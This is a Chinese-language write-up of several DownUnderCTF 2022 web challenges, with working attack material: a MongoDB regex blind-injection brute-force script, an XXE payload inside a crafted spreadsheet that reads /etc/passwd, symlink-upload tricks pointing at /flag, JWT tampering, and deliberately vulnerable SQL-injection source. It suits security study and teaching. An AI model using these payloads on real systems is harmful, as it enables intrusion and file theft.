DownUnderCTF 2022 writeup

玩玩

WEB

Treasure Hunt(easy)

challenge

1
2
3
Well the world has been looking for this treasure for the last 25 years. Maybe you will have a better chance at finding it?
Author: Crem#2193
https://web-treasure-hunt-e9a4730c2093.2022.ductf.dev

sol

image-20220924092133072

image-20220924092208082

感觉像是SSTI

测试一下

1
Werkzeug/2.2.2 Python/3.8.14

之前注册的账号是 8686

改个jwt就行了

1
Cookie: access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2NDEwMjA3NSwianRpIjoiZTI2M2U5ZTAtZWEwMy00NDQ2LWIwZjMtZTQwMzFkYmRiNjQwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6OCwibmJmIjoxNjY0MTAyMDc1LCJleHAiOjE2NjQxMDI5NzV9.vn5YDAS2aR5NxemxCU5u609DczHUNl8Nxgr0eunkl3A

image-20220925183724020

想着把 sub 改成 1?

noteworthy

challenge

1
2
3
What's a beginner-friendly CTF without a totally not generic Bootstrap note taking web chall?
Author: joseph#8210
https://web-noteworthy-873b7c844f49.2022.ductf.dev

sol

开了一个web 一个mongo

flag在web容器的env里 flag在note里

就俩文件需要看 看起来像是mongo的注入题

image-20220924113244660

注册一个

b1ue0cean:123456

ok 可以重点看看create note的逻辑上有没有啥毛病 (好像没啥毛病

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.post('/create', ensureAuthed, async (req, res, next) => {
const user = await User.findById(req.user.userId) #这里咱应该没法动

let { contents } = req.body
if(!contents || contents.length > 200) {
return next({ message: 'Invalid contents' })
}
contents = contents.toString()

try {
const noteId = Math.floor(Math.random() * 10**12)
const note = new Note({ owner: user._id, noteId, contents })
await note.save()

user.notes.push(note._id)
await user.save()

return res.json({
success: true,
message: 'Note created.'
})
} catch {
return next({ message: 'An error occurred' })
}
})

看看edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
router.post('/edit', ensureAuthed, async (req, res, next) => {
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)

if(!note) {
return next({ message: 'Note does not exist!' })
}

if(note.owner.toString() != req.user.userId.toString()) {
return next({ message: 'You are not the owner of this note!' })
}

let { contents } = req.body
if(!contents || contents.length > 200) {
return next({ message: 'Invalid contents' })
}
contents = contents.toString()
note.contents = contents
await note.save()
return res.json({ success: true, message: 'Note edited.' })
} else {
return next({ message: 'Invalid request' })
}
} catch(e) {
return next({ message: 'Invalid request' })
}
})

findOne 那里是不是可以时间盲注? 这个 parseInt 好像只要有 int 就不会返回 NaN

要以数字开头,,,

没啥大问题 来注入

okk 来学习一波 mongodb 的注入

1
2
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)

[PayloadsAllTheThings/NoSQL Injection at master · swisskyrepo/PayloadsAllTheThings (github.com)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL Injection#mongodb-payloads)

[Mongodb注入攻击 - SecPulse.COM | 安全脉](https://www.secpulse.com/archives/3278.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = 'https://web-noteworthy-873b7c844f49.2022.ductf.dev'
payload = '/edit?noteId=1337&contents[$regex]=^DUCTF{'
data = {"username":"b1ue0cean","password":"123456"}
cookie = {'jwt':'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2MzJlN2FlMDdiMDNiNjJhM2VhNzYzNDMiLCJpYXQiOjE2NjQwMTUwMDgsImV4cCI6MTY2NDYxOTgwOH0.hvWgvy0HhxtLCrmUimK0A2pZ1JHlK3NLkVpmggQudYQ'}

res = requests.get(url+payload,cookies=cookie)
# You are not the owner of this note!
for j in range(0,50):
for i in 'abdcefghijklmnopqrstuvwxyz012345678ABCDEFGHIJKLMNOPQRSTUVWXYZ_':
res = requests.get(url+payload+i,cookies=cookie)
if "You are not the owner of this note!" in res.text:
payload += i
print(payload)
break

Uni of Straya

1
2
3
4
5
6
7
The University of Straya are about to release their new Assignment Submission System (ASS) in two days, but have some concerns about the security of the platform. These concerns stemmed by the lead web developer admitting to inhaling burnt Hungry Jacks toys while developing the Flask REST API.

To assure the security of the platform follows best standards, you have the following goals to achieve:

1.Bypass authorization and view the admin console located at /admin.
2.Bypass access controls that prevent students from viewing other assignment submissions or the source code for the API. To demonstrate you have achieved this goal, there is a file called flag.txt in the API source code folder.
3.Exploit any critical vulnerabilities, such as RCE. If you can achieve RCE, run the command getfinalflag to get the flag.

这题有意思 先来进入 /admin

访问 /admin 就自动跳转了,,,

test@test.com 123456

应该是搞JWT了,,,

dyslexxec

challenge

1
2
3
4
Testing out the openpyxl library for python but there's some functionality I wish it had.
Author: JZT
https://web-dyslexxec-773a3cb4c483.2022.ductf.dev
dyslexxec.tar.gz

sol

flag在 /etc/passwd 里

想办法读文件,,,只有这一个要仔细看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@app.route("/metadata", methods = ['GET', 'POST'])
def view_metadata():
if request.method == "GET":
return render_template("error_upload.html")

if request.method == "POST":
f = request.files["file"]

tmpFolder = "./uploads/" + str(uuid.uuid4())
os.mkdir(tmpFolder)
filename = tmpFolder + "/" + secure_filename(f.filename)
f.save(filename)

try:
properties = getMetadata(filename)
extractWorkbook(filename, tmpFolder)
workbook = tmpFolder + "/" + WORKBOOK
properties.append(findInternalFilepath(workbook))
except Exception:
return render_template("error_upload.html")
finally:
shutil.rmtree(tmpFolder)

return render_template("metadata.html", items=properties)

搭一下环境 自己上传一个试试,,,

找能读文件的点 ccc

咋感觉是个 blind xxe

如果能想办法控制这个 xml文件 就可以打xxe那一套了

image-20220924154358201

https://blog.csdn.net/qq_50854790/article/details/125599901

制作一个 xslm

image-20220924161851727

想办法写到这个text里面,,,

构造payload

1
2
3
4
5
6
7
<!DOCTYPE data [
<!ELEMENT data ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>
<x15ac:absPath url="/Users/Shared/"
xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac">&file;</x15ac:absPath></data>

再压缩回去 改名即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 压缩文件
import os
import zipfile
def zip_file(src_dir):
zip_name = src_dir +'.zip'
z = zipfile.ZipFile(zip_name,'w',zipfile.ZIP_DEFLATED)
for dirpath, dirnames, filenames in os.walk(src_dir):
fpath = dirpath.replace(src_dir,'')
fpath = fpath and fpath + os.sep or ''
for filename in filenames:
z.write(os.path.join(dirpath, filename),fpath+filename)
print ('==压缩成功==')
z.close()

if __name__ == '__main__':
zip_file('exp')
os.remove('exp.xlsm')
os.rename('exp.zip','./exp.xlsm')
1
2
3
I heard symlinks are really dangerous so I delete them all and keep my secrets safe.
Author: hashkitten
https://web-no-symlink-821c2e0dbc5e.2022.ductf.dev

这是啥题? ruby?

flag 就在 /flag

这软链接咋链o.o

先去回顾一下以前学到的东西o.o justctf2022

** —— 递归匹配所有目录。 它用于下降到目录树中并在当前目录的子目录中查找所有文件,而不仅仅是在当前目录中的文件。 在下面的示例代码中对此通配符进行了研究。

***** –—- 匹配零个或多个字符。 仅由星号组成且没有其他字符或通配符的全局名称将匹配当前目录中的所有文件。 如果没有更多字符,星号通常与文件扩展名结合使用以缩小搜索范围。

不能有 . ..

不能有空文件夹

不能有 File.symlink 判断出来的东西 这里估计还要看文档

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static VALUE
rb_file_symlink_p(VALUE obj, VALUE fname)
{
#ifndef S_ISLNK
# ifdef _S_ISLNK
# define S_ISLNK(m) _S_ISLNK(m)
# else
# ifdef _S_IFLNK
# define S_ISLNK(m) (((m) & S_IFMT) == _S_IFLNK)
# else
# ifdef S_IFLNK
# define S_ISLNK(m) (((m) & S_IFMT) == S_IFLNK)
# endif
# endif
# endif
#endif

#ifdef S_ISLNK
struct stat st;

FilePathValue(fname);
fname = rb_str_encode_ospath(fname);
if (lstat_without_gvl(StringValueCStr(fname), &st) < 0) return Qfalse;
if (S_ISLNK(st.st_mode)) return Qtrue;
#endif

return Qfalse;
}

Proc 目录在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com)

File Upload - HackTricks

1
2
3
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

先来搞个软链接

1
ln -s /flag sym.txt

然后对软链接进行魔改?

找到描述symlink形式的文档o.o

1
ln -s /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag sysla.txt

没p用 是不是权限上的问题???

果然是权限上的问题 呜呜呜 当时一直在想怎么改symlink的权限 结果忘了可以加到上层文件夹上,,,

sol

把软链接上层文档的权限给改了就ok 呜呜呜 chmod 100 fuck

image-20220925182116181

image-20220925181933001

sqli2022

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from flask import Flask, request
import textwrap
import sqlite3
import os
import hashlib

assert len(os.environ['FLAG']) > 32

app = Flask(__name__)

@app.route('/', methods=['POST'])
def root_post():
post = request.form

# Sent params?
if 'username' not in post or 'password' not in post:
return 'Username or password missing from request'

# We are recreating this every request
con = sqlite3.connect(':memory:')
cur = con.cursor()
cur.execute('CREATE TABLE users (username TEXT, password TEXT)')
cur.execute(
'INSERT INTO users VALUES ("admin", ?)',
[hashlib.md5(os.environ['FLAG'].encode()).hexdigest()]
)
output = cur.execute(
'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
.format(post=post)
).fetchone()

# Credentials OK?
if output is None:
return 'Wrong credentials'

# Nothing suspicious?
username, password = output
if username != post["username"] or password != post["password"]:
return 'Wrong credentials (are we being hacked?)'

# Everything is all good
return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)

@app.route('/', methods=['GET'])
def root_get():
return textwrap.dedent('''
<html>
<head></head>
<body>
<form action="/" method="post">
<p>Welcome to admin panel!</p>
<label for="username">Username:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">Password:</label>
<input type="text" id="password" name="password"><br><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
''').strip()